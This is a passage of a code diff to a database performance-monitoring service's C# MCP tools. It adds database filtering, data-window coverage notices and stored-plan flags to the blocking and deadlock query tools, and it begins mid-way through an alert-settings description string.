get_fleet_overview's counts read, in deadlocks per HOUR normalised over whatever window was asked for — so the same pair means the same condition on a 1-hour read and a 24-hour one. Tuning deadlocks.count_threshold does not move the band and tuning health_bands does not move the alert. The file_growth group's rise_mb is megabytes per HOUR, averaged over file_growth.lookback_minutes — a rate, not a total for the window: 10240 means 10 GB/hr whether the lookback is 5 minutes or 24 hours, and the engine scales it to the window (a 5-minute lookback asks for 853 MB inside it, a 24-hour one for 240 GB). The fleet_sweep group is NOT an alert family either, and its cadence is a SECOND cadence, separate from the scheduled-analysis one: fleet_sweep.enabled turns the scheduled whole-fleet sweep report on or off, and fleet_sweep.interval_minutes (15–1440, default 60 — hourly) is how often it runs. The alerts_enabled master switch deliberately does not govern sweep production, only delivery: sweeps keep running under alerts_enabled: false — that is when they carry the would-have-paged ledger — so muting the fleet does not blind the report surface. Separately, deadlocks.pg_count_threshold and blocking.pg_count_threshold are the PostgreSQL versions of those two alerts' count gates, reported inside those same groups, and they are deliberately NOT the same numbers as the count_threshold beside them: the two engines count with different instruments (captured deadlock graphs versus deadlocks parsed from the server log; engine-recorded blocked-process reports versus a periodic SAMPLE of pg_stat_activity), and while both engines' cards now band deadlocks through the same health_bands tiers, a PostgreSQL server still has no blocking band to calibrate against. The enabled switch in each group governs BOTH engines; the two thresholds do not move each other. On a store with no PostgreSQL targets both PostgreSQL keys are inert. poison_wait.threshold_ms is RETIRED: since the Poison Wait alert grades ACCUMULATED wait over a ten-minute window, this value is stored and reported for compatibility but consulted by nothing; poison_wait.threshold_ms_note says so beside it on every read, and update_alert_settings accepts it with a warning rather than refusing a round-tripped payload. poison_wait.enabled is the live switch. analysis.uncorroborated_route is where a notify-worthy but UNCORROBORATED finding goes — one fact in its chain and no matched co-fire check: 'digest' (the default) keeps it off every paging channel and puts it in the daily Analysis Singles Digest and the web/MCP surfaces, 'page' restores the earlier paging of every notify-worthy finding; a corroborated finding pages under either. It is the EFFECTIVE route, never null, resolved from the knob's two homes with the STORE winning: the settings row's analysis_uncorroborated_route column (V137) when it holds a route, else darling.json's analysis.uncorroboratedRoute (read once at service start), else the shipped 'digest'. analysis.uncorroborated_route_source says which home decided — 'store', 'file' or 'default' — and analysis.uncorroborated_route_note restates the precedence beside it; a store column left NULL (every store the morning after the V137 upgrade, and every fresh seed) reads 'file'. Set it with update_alert_settings or the Viewer's Settings window (Notifications > Automated Analysis): live in the running service within one collection sweep, consulted on the next scheduled-analysis delivery, no restart; send null through update_alert_settings to clear the column and hand the decision back to the file. long_running_query.excluded_program_name_prefixes and long_running_query.excluded_logins are the Long-Running Query alert's OPT-OUT knob: a session whose program_name STARTS WITH an entry of the first list, or whose login_name IS an entry of the second (both case-insensitive, no wildcard grammar), is NOT EVALUATED by that alert at all — not read into the decision, not counted, not fingerprinted — which is the opposite of a mute rule (a mute silences a fire already decided; an exclusion means the session never reaches the decision, and excluding a paging program resolves the open incident). The exclusion is applied in the read ahead of long_running_query.max_results, so an excluded session never consumes a result slot, and the fired alert's card carries Excluded Count / Excluded By Program Prefix / Excluded By Login items saying how many SESSIONS each list removed on that evaluation (a session matching both counts once, under the prefix). The lists ship SEEDED from a 7-day read of one large production store, whose long-running population fell into four classes: (1) SQL Agent job steps — program_name prefix 'SQLAgent - TSQL JobStep', ~460 sessions a week across 11 jobs, medians 35–62 min — the default prefix; (2) the NT AUTHORITY\\SYSTEM and NT AUTHORITY\\NETWORK SERVICE logins — the permanent multi-day CDC-shaped background — the default logins; (3) the application's admin login — deliberately NOT a default, because it runs the job wave but also real ad-hoc long-runners, and the job-step prefix already covers its share; (4) named humans — never excluded, they are what the page is for. The seeds are DEFAULTS: an empty list here means the operator cleared it and that arm excludes nothing. SMTP/webhook delivery credentials are managed separately and are not reported here — configure them in the standalone Darling Viewer app's Settings window (Notifications section), which connects to this store (including remotely, not just localhost) rather than requiring desktop access to this specific box.")]    public static async Task<string> GetAlertSettings(        NpgsqlDataSource postgres,
         CancellationToken cancellationToken = default)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs
index 8e52c96c43..def5ac516a 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs
@@ -11,12 +11,15 @@
 using System.ComponentModel;
 using System.Linq;
 using System.Text.Json;
+using System.Text.Json.Nodes;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Notifications;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
@@ -104,9 +107,11 @@ public static Task<string> GetBlocking(
         [Description("Optional alert fingerprint (the alert's Dedup Key). The key is scoped to the server's display name and the incident's involved objects. The fingerprint scan runs over the window BEFORE limit.")] string? dedup_key = null,
         [Description("Return each row's full blocked_sql_text/blocking_sql_text instead of a 150-character preview. Default false. A dedup_key call ignores this and always returns the full text.")] bool full_text = false,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
         MonitoredServerRegistryState? registryState = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default) =>
-        GetBlocking(postgres, server_name, hours_back, limit, dedup_key, full_text, as_of, SqlTextPreviewLength, registryState, cancellationToken);
+        GetBlocking(postgres, server_name, hours_back, limit, dedup_key, full_text, as_of, DatabaseFilter.One(database_name), SqlTextPreviewLength, registryState, logger, cancellationToken);
 
     /// <summary>
     /// get_blocking under an explicit <paramref name="sqlTextPreviewLength"/> (#4198): the MCP tool passes
@@ -114,9 +119,22 @@ public static Task<string> GetBlocking(
     /// viewer's <c>/api/read</c> mirror passes <see cref="WebSqlTextPreviewLength"/> so its page does not
     /// change.
     /// </summary>
-    internal static async Task<string> GetBlocking(
+    internal static Task<string> GetBlocking(
         NpgsqlDataSource postgres, string? server_name, int hours_back, int limit, string? dedup_key, bool full_text, string? as_of, int sqlTextPreviewLength,
-        MonitoredServerRegistryState? registryState = null, CancellationToken cancellationToken = default)
+        MonitoredServerRegistryState? registryState = null, ILogger? logger = null, CancellationToken cancellationToken = default) =>
+        GetBlocking(postgres, server_name, hours_back, limit, dedup_key, full_text, as_of, DatabaseFilter.All, sqlTextPreviewLength, registryState, logger, cancellationToken);
+
+    /// <summary>
+    /// get_blocking over a SET of databases (#5244): <paramref name="databases"/> empty (<see cref="DatabaseFilter.All"/>) is every
+    /// database, otherwise both arms (the XE reports and the DMV fallback) keep only the named databases' rows, before the fingerprint
+    /// scan and before <paramref name="limit"/>, so the page is the newest <c>limit</c> events of the chosen databases. The empty answer
+    /// and a dedup_key miss say "for the chosen databases" so they are not read as a verdict on a database the read never looked at;
+    /// the status word is unchanged (<c>empty</c>: we looked at the chosen databases and found nothing).
+    /// </summary>
+    internal static async Task<string> GetBlocking(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int limit, string? dedup_key, bool full_text, string? as_of,
+        DatabaseFilter databases, int sqlTextPreviewLength,
+        MonitoredServerRegistryState? registryState = null, ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveWithFingerprintNameAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -129,6 +147,7 @@ internal static async Task<string> GetBlocking(
         try
         {
             var now = windowEnd;
+            var windowStart = now.AddHours(-hours_back);
             var filtering = !DarlingIncidentFingerprint.NoFilter(dedup_key);
 
             /*
@@ -150,10 +169,15 @@ scan ran out rather than implying the window was searched.
             */
             var fetch = filtering ? DarlingBlockingReader.FingerprintScanCeiling + 1 : limit + 1;
             var rows = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, fetch, cancellationToken);
+                postgres, resolved.ServerId, now.AddHours(-hours_back), now, fetch, databases, cancellationToken);
             if (rows.Count == 0)
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "blocked_process_report", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No blocking events found in the specified time range.");
+                    /* #4966: an empty answer over a window the store may not reach back to is not a true negative, so the window keys
+                       ride on it under hints. The page is fed by two collectors, so the probe is both (the earlier of the two). */
+                    ?? McpHelpers.Status("empty", $"No blocking events found in the specified time range{ForChosenDatabases(databases)}.",
+                        (await DarlingMcpWindowNotice.ReadEventAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, BlockingPageSources, resolved.ServerName, windowStart, now, cancellationToken),
+                            null, windowStart, now, BlockingPageTables, emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
 
             var scanTruncated = filtering && rows.Count > DarlingBlockingReader.FingerprintScanCeiling;
             if (scanTruncated) rows = rows.Take(DarlingBlockingReader.FingerprintScanCeiling).ToList();
@@ -177,9 +201,11 @@ the newest `limit` rows that happen to include it. Without a key the scan IS the
             {
                 var wanted = DarlingIncidentFingerprint.NormalizeKey(dedup_key);
                 var kept = rows.Where((_, i) => keys[i] == wanted || legacyKeys?[i] == wanted).ToList();
+                /* A dedup_key miss stays bare: Lite's tools have no dedup_key, so there is no twin answer to match, and the miss is about one named incident, not about where the store's data starts. */
                 if (kept.Count == 0)
                     return McpHelpers.Status("empty", DarlingIncidentFingerprint.NoMatchMessage(
                         "blocking events", dedup_key!, resolved.FingerprintName, examined)
+                        + ChosenDatabasesScanClause(databases)
                         + ScanCeilingClause(scanTruncated));
 
                 keys = kept.Select(r => wanted).Cast<string?>().ToList();
@@ -192,6 +218,17 @@ the newest `limit` rows that happen to include it. Without a key the scan IS the
             var truncated = rows.Count > limit;
             var page = rows.Take(limit).ToList();
 
+            /* #5236: which of the page's rows carry a stored plan, read for those rows only. The list read does not project the plan
+               columns (a compressed chunk decompresses a named column for every batch the list scans); this is one keyed statement. */
+            await DarlingBlockingReader.ReadBlockedPlanFlagsAsync(postgres, resolved.ServerId, page, cancellationToken);
+
+            /* #4966: where the store's data starts for the window. An event list, so the floor is the earlier of the coverage probe and
+               the oldest event the page shows (a first run of a collector can store events from before itself). The
+               page is fed by two collectors (XE reports and DMV snapshots), so the probe is both and the earlier wins, as the viewer's grid does. */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, BlockingPageSources, resolved.ServerName, windowStart, now, cancellationToken),
+                page.Min(r => r.EventTime), windowStart, now, BlockingPageTables, logger: logger, cancellationToken: cancellationToken);
+
             /* #4198: filtering (a dedup_key) already narrowed the page to one named incident, so that call
                is exempt from the preview cut — see SqlTextPreviewLength's doc comment. */
             var showFullText = full_text || filtering;
@@ -218,14 +255,14 @@ is exempt from the preview cut — see SqlTextPreviewLength's doc comment. */
                 blocked_client_app = r.BlockedClientApp,
                 blocked_host_name = r.BlockedHostName,
                 blocked_login_name = r.BlockedLoginName,
-                blocked_sql_text = showFullText ? r.BlockedSqlText : McpHelpers.Truncate(r.BlockedSqlText, sqlTextPreviewLength),
+                blocked_sql_text = showFullText ? r.BlockedSqlText : McpHelpers.TruncateStatement(r.BlockedSqlText, sqlTextPreviewLength),
                 blocked_sql_text_truncated = !showFullText && r.BlockedSqlText != null && r.BlockedSqlText.Length > sqlTextPreviewLength,
                 blocking_status = r.BlockingStatus,
                 blocking_isolation_level = r.BlockingIsolationLevel,
                 blocking_client_app = r.BlockingClientApp,
                 blocking_host_name = r.BlockingHostName,
                 blocking_login_name = r.BlockingLoginName,
-                blocking_sql_text = showFullText ? r.BlockingSqlText : McpHelpers.Truncate(r.BlockingSqlText, sqlTextPreviewLength),
+                blocking_sql_text = showFullText ? r.BlockingSqlText : McpHelpers.TruncateStatement(r.BlockingSqlText, sqlTextPreviewLength),
                 blocking_sql_text_truncated = !showFullText && r.BlockingSqlText != null && r.BlockingSqlText.Length > sqlTextPreviewLength,
                 blocked_transaction_name = r.BlockedTransactionName,
                 blocking_transaction_name = r.BlockingTransactionName,
@@ -238,14 +275,27 @@ is exempt from the preview cut — see SqlTextPreviewLength's doc comment. */
                 blocked_priority = r.BlockedPriority,
                 blocking_priority = r.BlockingPriority,
                 has_report_xml = r.HasReportXml,
+                /* #5236: which of the row's two stored plans exist, for the web grid's plan buttons (the XML itself is
+                   get_blocking_plan_xml's, on demand). Written only when true: a false is a null here and the per-row strip
+                   below drops it, so a row with no plan carries neither key. */
+                has_blocked_plan = r.HasBlockedPlan ? true : (bool?)null,
+                has_blocking_plan = r.HasBlockingPlan ? true : (bool?)null,
                 dedup_key = keys[i]
             });
 
-            return JsonSerializer.Serialize(new
+            var json = WithoutNullPlanFlags(new
             {
                 server = resolved.ServerName,
                 /* The span REQUESTED. Kept under its shipped name, and no longer the only span on the page. */
                 hours_back,
+                /* #4966: where the store's data starts, always present on a data answer (false and null when the store covered the
+                   window). No effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor. A failed coverage probe leaves the three off (see the return below). */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which databases the page is limited to: the name for one, "the chosen databases" for two or more, null for all. */
+                database_name = databases.Describe(),
                 dedup_key = filtering ? DarlingIncidentFingerprint.NormalizeKey(dedup_key) : null,
                 /*
                     #3541 A3: `total_events` is gone. It was the reader's capped row count — neither the
@@ -262,8 +312,8 @@ describes a quiet window. Under a dedup_key the page is the matching rows and th
                 /* Min/Max over the rows rather than rows[0] / rows[^1]: those coincide only under time
                    ordering, and a dedup_key page is the matching rows rather than a contiguous slice.
                    Enumerable.Min over DateTime? skips nulls and yields null for a page with no stamps. */
-                oldest_returned_event_time = page.Min(r => r.EventTime)?.ToString("o"),
-                newest_returned_event_time = page.Max(r => r.EventTime)?.ToString("o"),
+                oldest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.EventTime)),
+                newest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.EventTime)),
                 order = "event_time_desc",
                 /* The fingerprint scan, stated only when one ran: how many window rows were fingerprinted
                    and whether the window held more than the scan could reach. Null rather than 0 without a
@@ -273,7 +323,10 @@ and whether the window held more than the scan could reach. Null rather than 0 w
                 events = result,
                 separately_monitored_note = separate is null ? null : AzureMasterScope.SeparatelyMonitoredListNote,
                 separately_monitored_databases = separate
-            }, McpHelpers.JsonOptions);
+            }, "events", "has_blocked_plan", "has_blocking_plan");
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -281,6 +334,41 @@ and whether the window held more than the scan could reach. Null rather than 0 w
         }
     }
 
+    /// <summary>
+    /// The collector tables get_blocking's page is fed by (#4966): the XE blocked process reports and the always-on DMV blocking
+    /// snapshots that stand in for them. The probe is always both, and <see cref="DataWindowFloor.GetAsync"/> answers the earlier of
+    /// the two, as the viewer does: the page merges the two populations, so a page of XE rows can still have dropped older DMV rows to
+    /// <c>limit</c>. Both are table sources, not <c>ForCollectorRuns</c>: the rows were read from these tables, so the purge edge that
+    /// bounds them is the tables' (30 days), where the run log's is 60 and would claim coverage of days the rows no longer exist for.
+    /// </summary>
+    private static readonly DataWindowFloor.Source[] BlockingPageSources =
+        [DataWindowFloor.Source.ForCollectorTable("blocked_process_reports"), DataWindowFloor.Source.ForCollectorTable("dmv_blocking_snapshots")];
+
+    /// <summary>The table names <see cref="BlockingPageSources"/> probes, as the truncation note names them.</summary>
+    private const string BlockingPageTables = "blocked_process_reports and dmv_blocking_snapshots";
+
+    /// <summary>
+    /// What a database selection adds to an empty answer's sentence (#5244): nothing for every database, " for the database X" for one,
+    /// and " for the chosen databases" for two or more (<see cref="DatabaseFilter.Describe"/>'s words). An empty answer under a
+    /// selection is about the CHOSEN databases only; it says nothing about the rest.
+    /// </summary>
+    internal static string ForChosenDatabases(DatabaseFilter databases) =>
+        databases.Describe() switch
+        {
+            null => string.Empty,
+            DatabaseFilter.ManyDatabasesDescription => " for " + DatabaseFilter.ManyDatabasesDescription,
+            var one => " for the database " + one,
+        };
+
+    /// <summary>
+    /// The sentence a dedup_key miss carries under a database selection (#5244): the fingerprint scan ran over the chosen databases'
+    /// events only, so an incident whose events are in another database cannot match. Empty for every database.
+    /// </summary>
+    private static string ChosenDatabasesScanClause(DatabaseFilter databases) =>
+        databases.IsAll
+            ? string.Empty
+            : $" The scan was limited to the events{ForChosenDatabases(databases)}, so an incident whose events are in another database is not in it.";
+
     /// <summary>
     /// The sentence appended to a no-match answer when the fingerprint scan hit
     /// <see cref="DarlingBlockingReader.FingerprintScanCeiling"/>. Empty otherwise, so the shared
@@ -302,6 +390,7 @@ public static async Task<string> GetDeadlocks(
         [Description("Optional alert fingerprint (the alert's Dedup Key). The key is scoped to the server's display name and the incident's involved objects. The fingerprint scan runs over the window BEFORE limit.")] string? dedup_key = null,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
         MonitoredServerRegistryState? registryState = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveWithFingerprintNameAsync(postgres, server_name, cancellationToken);
@@ -315,6 +404,7 @@ public static async Task<string> GetDeadlocks(
         try
         {
             var now = windowEnd;
+            var windowStart = now.AddHours(-hours_back);
             var filtering = !DarlingIncidentFingerprint.NoFilter(dedup_key);
 
             /* #3541 A3: see get_blocking — the caller's limit + 1 as the page fetch, the stated scan ceiling
@@ -330,7 +420,11 @@ public static async Task<string> GetDeadlocks(
                        and then returns zero rows forever, which is byte-identical to a server that simply
                        did not deadlock — the one answer nobody should be given without being told. */
                     ?? await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, "deadlocks", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No deadlocks found in the specified time range.");
+                    /* #4966: the window keys ride on an empty answer under hints; not_collected and the precondition stay bare. */
+                    ?? McpHelpers.Status("empty", "No deadlocks found in the specified time range.",
+                        (await DarlingMcpWindowNotice.ReadEventAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, "deadlocks", resolved.ServerName, windowStart, now, cancellationToken),
+                            null, windowStart, now, "deadlocks", emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
 
             var scanTruncated = filtering && rows.Count > DarlingBlockingReader.FingerprintScanCeiling;
             if (scanTruncated) rows = rows.Take(DarlingBlockingReader.FingerprintScanCeiling).ToList();
@@ -347,6 +441,7 @@ did not deadlock — the one answer nobody should be given without being told. *
             {
                 var wanted = DarlingIncidentFingerprint.NormalizeKey(dedup_key);
                 var kept = rows.Where((_, i) => keys[i] == wanted || legacyKeys?[i] == wanted).ToList();
+                /* A dedup_key miss stays bare: Lite's tools have no dedup_key, so there is no twin answer to match, and the miss is about one named incident, not about where the store's data starts. */
                 if (kept.Count == 0)
                     return McpHelpers.Status("empty", DarlingIncidentFingerprint.NoMatchMessage(
                         "deadlocks", dedup_key!, resolved.FingerprintName, examined)
@@ -359,6 +454,14 @@ did not deadlock — the one answer nobody should be given without being told. *
             var truncated = rows.Count > limit;
             var page = rows.Take(limit).ToList();
 
+            /* #5236: the victim-plan flag for the page's rows only (see get_blocking). */
+            await DarlingBlockingReader.ReadVictimPlanFlagsAsync(postgres, resolved.ServerId, page, cancellationToken);
+
+            /* #4966: an event list, so the floor is the earlier of the coverage probe and the oldest deadlock the page shows. */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "deadlocks", resolved.ServerName, windowStart, now, cancellationToken),
+                page.Min(r => r.DeadlockTime), windowStart, now, "deadlocks", logger: logger, cancellationToken: cancellationToken);
+
             var separate = await SeparatelyMonitoredForAsync(postgres, registryState, resolved.ServerId, cancellationToken);
 
             var result = page.Select((r, i) => new
@@ -367,16 +470,25 @@ did not deadlock — the one answer nobody should be given without being told. *
                 deadlock_time = r.DeadlockTime?.ToString("o"),
                 database_name = r.DatabaseName,
                 victim_process_id = r.VictimProcessId,
-                victim_sql_text = McpHelpers.Truncate(r.VictimSqlText, 2000),
+                victim_sql_text = McpHelpers.TruncateStatement(r.VictimSqlText, 2000),
                 process_summary = r.ProcessSummary,
                 has_deadlock_xml = r.HasDeadlockXml,
+                /* #5236: whether the victim's plan is stored, for the web grid's plan button (the XML is
+                   get_deadlock_plan_xml's). Written only when true, as get_blocking's plan flags are. */
+                has_victim_plan = r.HasVictimPlan ? true : (bool?)null,
                 dedup_key = keys[i]
             });
 
-            return JsonSerializer.Serialize(new
+            var json = WithoutNullPlanFlags(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present on a data answer (false and null when the store covered the
+                   window). No effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor. A failed coverage probe leaves the three off (see the return below). */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 dedup_key = filtering ? DarlingIncidentFingerprint.NormalizeKey(dedup_key) : null,
                 /* #3541 A3: the page described as a page — see get_blocking for why `total_deadlocks` went.
                    The ORDER BY is deadlock_time, so the bounds are on that stamp rather than collection_time,
@@ -384,15 +496,18 @@ and a deadlock whose stamp did not parse (null) is skipped by Min/Max rather tha
                    the epoch. */
                 deadlocks_returned = page.Count,
                 truncated,
-                oldest_returned_deadlock_time = page.Min(r => r.DeadlockTime)?.ToString("o"),
-                newest_returned_deadlock_time = page.Max(r => r.DeadlockTime)?.ToString("o"),
+                oldest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.DeadlockTime)),
+                newest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.DeadlockTime)),
                 order = "deadlock_time_desc",
                 rows_examined = filtering ? examined : (int?)null,
                 scan_truncated = filtering ? scanTruncated : (bool?)null,
                 deadlocks = result,
                 separately_monitored_note = separate is null ? null : AzureMasterScope.SeparatelyMonitoredListNote,
                 separately_monitored_databases = separate
-            }, McpHelpers.JsonOptions);
+            }, "deadlocks", "has_victim_plan");
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -400,6 +515,31 @@ the epoch. */
         }
     }
 
+    /// <summary>
+    /// Serializes a list payload with <see cref="McpHelpers.JsonOptions"/> and drops the named plan-flag keys from
+    /// every row of <paramref name="rowsKey"/> where they are null (#5236). <c>JsonOptions</c> writes a null as null, so a
+    /// flag carried as <c>b ? true : (bool?)null</c> would put <c>"has_x": null</c> on every row without this: the
+    /// strip is what makes "written only when true" so. It is per row and per named key on purpose, never a global
+    /// null strip: <c>dedup_key</c>, <c>rows_examined</c> and <c>scan_truncated</c> are null on purpose, and callers read
+    /// them as such.
+    /// </summary>
+    private static string WithoutNullPlanFlags(object payload, string rowsKey, params string[] flagKeys)
+    {
+        var node = JsonSerializer.SerializeToNode(payload, McpHelpers.JsonOptions)!.AsObject();
+        if (node[rowsKey] is JsonArray rows)
+        {
+            foreach (var row in rows.OfType<JsonObject>())
+            {
+                foreach (var key in flagKeys)
+                {
+                    if (row[key] is null) row.Remove(key);
+                }
+            }
+        }
+
+        return node.ToJsonString(McpHelpers.JsonOptions);
+    }
+
     /// <summary>
     /// #4198: deadlock_graph_xml is the wide field on this tool — a busy production store's default call
     /// (limit 5, only 3 deadlocks carried a graph in the window) measured 120,454 bytes, almost all of it
@@ -410,15 +550,16 @@ the epoch. */
     /// </summary>
     private const int DeadlockGraphPreviewLength = 2000;
 
-    [McpServerTool(Name = "get_deadlock_detail"), Description("Gets the deadlock graph XML for a specific time range, NEWEST FIRST. Returns the raw XML that can be analyzed for lock resources, process details, and deadlock chains. Only deadlocks that CARRY a graph are counted against limit, so the page is limit graphs rather than limit rows; deadlocks_returned, truncated and oldest_returned_deadlock_time / newest_returned_deadlock_time describe the page the same way get_deadlocks does, and truncated means the window held more graphs than limit. deadlock_graph_xml is a preview by default (deadlock_graph_xml_truncated: true) — pass full_graph for the whole graph; a dedup_key call always gets the whole graph.")]
+    [McpServerTool(Name = "get_deadlock_detail"), Description("Gets the deadlock graph XML for a specific time range, NEWEST FIRST, for lock resources, process details and deadlock chains, with each deadlock's parsed per-process rows in processes[] (absent values left off; sql_text is a preview). processes[] holds at most 12 rows per deadlock and a default page shares 24 rows across its deadlocks; processes_truncated counts the rows cut. Only deadlocks that CARRY a graph count against limit; deadlocks_returned, truncated and oldest/newest_returned_deadlock_time describe the page as get_deadlocks does, and truncated means the window held more graphs than limit. deadlock_graph_xml is a preview (deadlock_graph_xml_truncated: true) unless full_graph; a dedup_key call gets the whole graph, every process row up to the cap, and longer sql_text.")]
     public static async Task<string> GetDeadlockDetail(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum deadlocks WITH a graph to return, newest first. Default 5. Read truncated to know whether the window held more.")] int limit = 5,
-        [Description("Optional #1140 alert fingerprint (the alert's Dedup Key). When supplied, returns only the incident with that key — paste it straight from an alert or ticket instead of scanning the window. The key is scoped to the server's display name and the incident's involved objects.")] string? dedup_key = null,
+        [Description("Optional alert fingerprint (the alert's Dedup Key); paste it straight from an alert. Returns only that incident, scoped to the server's display name and its objects.")] string? dedup_key = null,
         [Description("Return each graph's full XML instead of a 2000-character preview. Default false. A dedup_key call ignores this and always returns the full graph.")] bool full_graph = false,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveWithFingerprintNameAsync(postgres, server_name, cancellationToken);
@@ -432,6 +573,7 @@ public static async Task<string> GetDeadlockDetail(
         try
         {
             var now = windowEnd;
+            var windowStart = now.AddHours(-hours_back);
 
             var filtering = !DarlingIncidentFingerprint.NoFilter(dedup_key);
 
@@ -455,7 +597,11 @@ consume one of the `limit` slots the caller wanted spent on real graphs. It is n
                predicate rather than a Where() here, for the reason above. */
             if (candidates.Count == 0)
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "deadlocks", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No deadlock XML available in the specified time range.");
+                    /* #4966: the window keys ride on an empty answer under hints; not_collected stays bare. */
+                    ?? McpHelpers.Status("empty", "No deadlock XML available in the specified time range.",
+                        (await DarlingMcpWindowNotice.ReadEventAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, "deadlocks", resolved.ServerName, windowStart, now, cancellationToken),
+                            null, windowStart, now, "deadlocks", emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
 
             var examined = candidates.Count;
             var keys = DarlingIncidentFingerprint.DeadlockKeys(
@@ -468,6 +614,7 @@ consume one of the `limit` slots the caller wanted spent on real graphs. It is n
             {
                 var wanted = DarlingIncidentFingerprint.NormalizeKey(dedup_key);
                 var kept = candidates.Where((_, i) => keys[i] == wanted || legacyKeys?[i] == wanted).ToList();
+                /* A dedup_key miss stays bare: Lite's tools have no dedup_key, so there is no twin answer to match, and the miss is about one named incident, not about where the store's data starts. */
                 if (kept.Count == 0)
                     return McpHelpers.Status("empty", DarlingIncidentFingerprint.NoMatchMessage(
                         "deadlocks with a graph", dedup_key!, resolved.FingerprintName, examined)
@@ -480,37 +627,71 @@ consume one of the `limit` slots the caller wanted spent on real graphs. It is n
             var truncated = candidates.Count > limit;
             var withXml = candidates.Take(limit).ToList();
 
+            /* #4966: as get_deadlocks, over the deadlocks that carry a graph. */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "deadlocks", resolved.ServerName, windowStart, now, cancellationToken),
+                withXml.Min(r => r.DeadlockTime), windowStart, now, "deadlocks", logger: logger, cancellationToken: cancellationToken);
+
             /* #4198: filtering (a dedup_key) already narrowed the page to one named incident, so that call
                is exempt from the preview cut — see DeadlockGraphPreviewLength's doc comment. */
             var showFullGraph = full_graph || filtering;
 
-            var result = withXml.Select((r, i) => new
+            /* The default page shares one row budget and previews statements shorter; a whole-graph call
+               (full_graph or a dedup_key) keeps the per-deadlock cap and the longer preview. */
+            var rowBudget = DarlingDeadlockProcessRows.DefaultPageRowBudget;
+            var statementLength = showFullGraph ? DarlingDeadlockProcessRows.StatementPreviewLength : DarlingDeadlockProcessRows.DefaultStatementPreviewLength;
+            var result = withXml.Select((r, i) =>
+            {
+                var (processes, processesTruncated) = DarlingDeadlockProcessRows.Build(
+                    r.DeadlockGraphXml, r.DeadlockTime, showFullGraph ? int.MaxValue : rowBudget, statementLength);
+                if (!showFullGraph) rowBudget -= processes.Count;
+                /* #5320: the graph is judged WHOLE before the preview cuts it, as Lite's get_deadlock_detail does (#4348). A cut
+                   graph may end inside a statement's text, and the truncated flag is read off the FILTERED text: a graph withheld
+                   whole is a short placeholder (not truncated), and one the filter re-serialised past the cut is truncated,
+                   whatever its raw length was. The judge is told the cut so a long graph stops being read once nothing before
+                   it can change. */
+                var filteredGraph = showFullGraph || string.IsNullOrEmpty(r.DeadlockGraphXml)
+                    ? r.DeadlockGraphXml
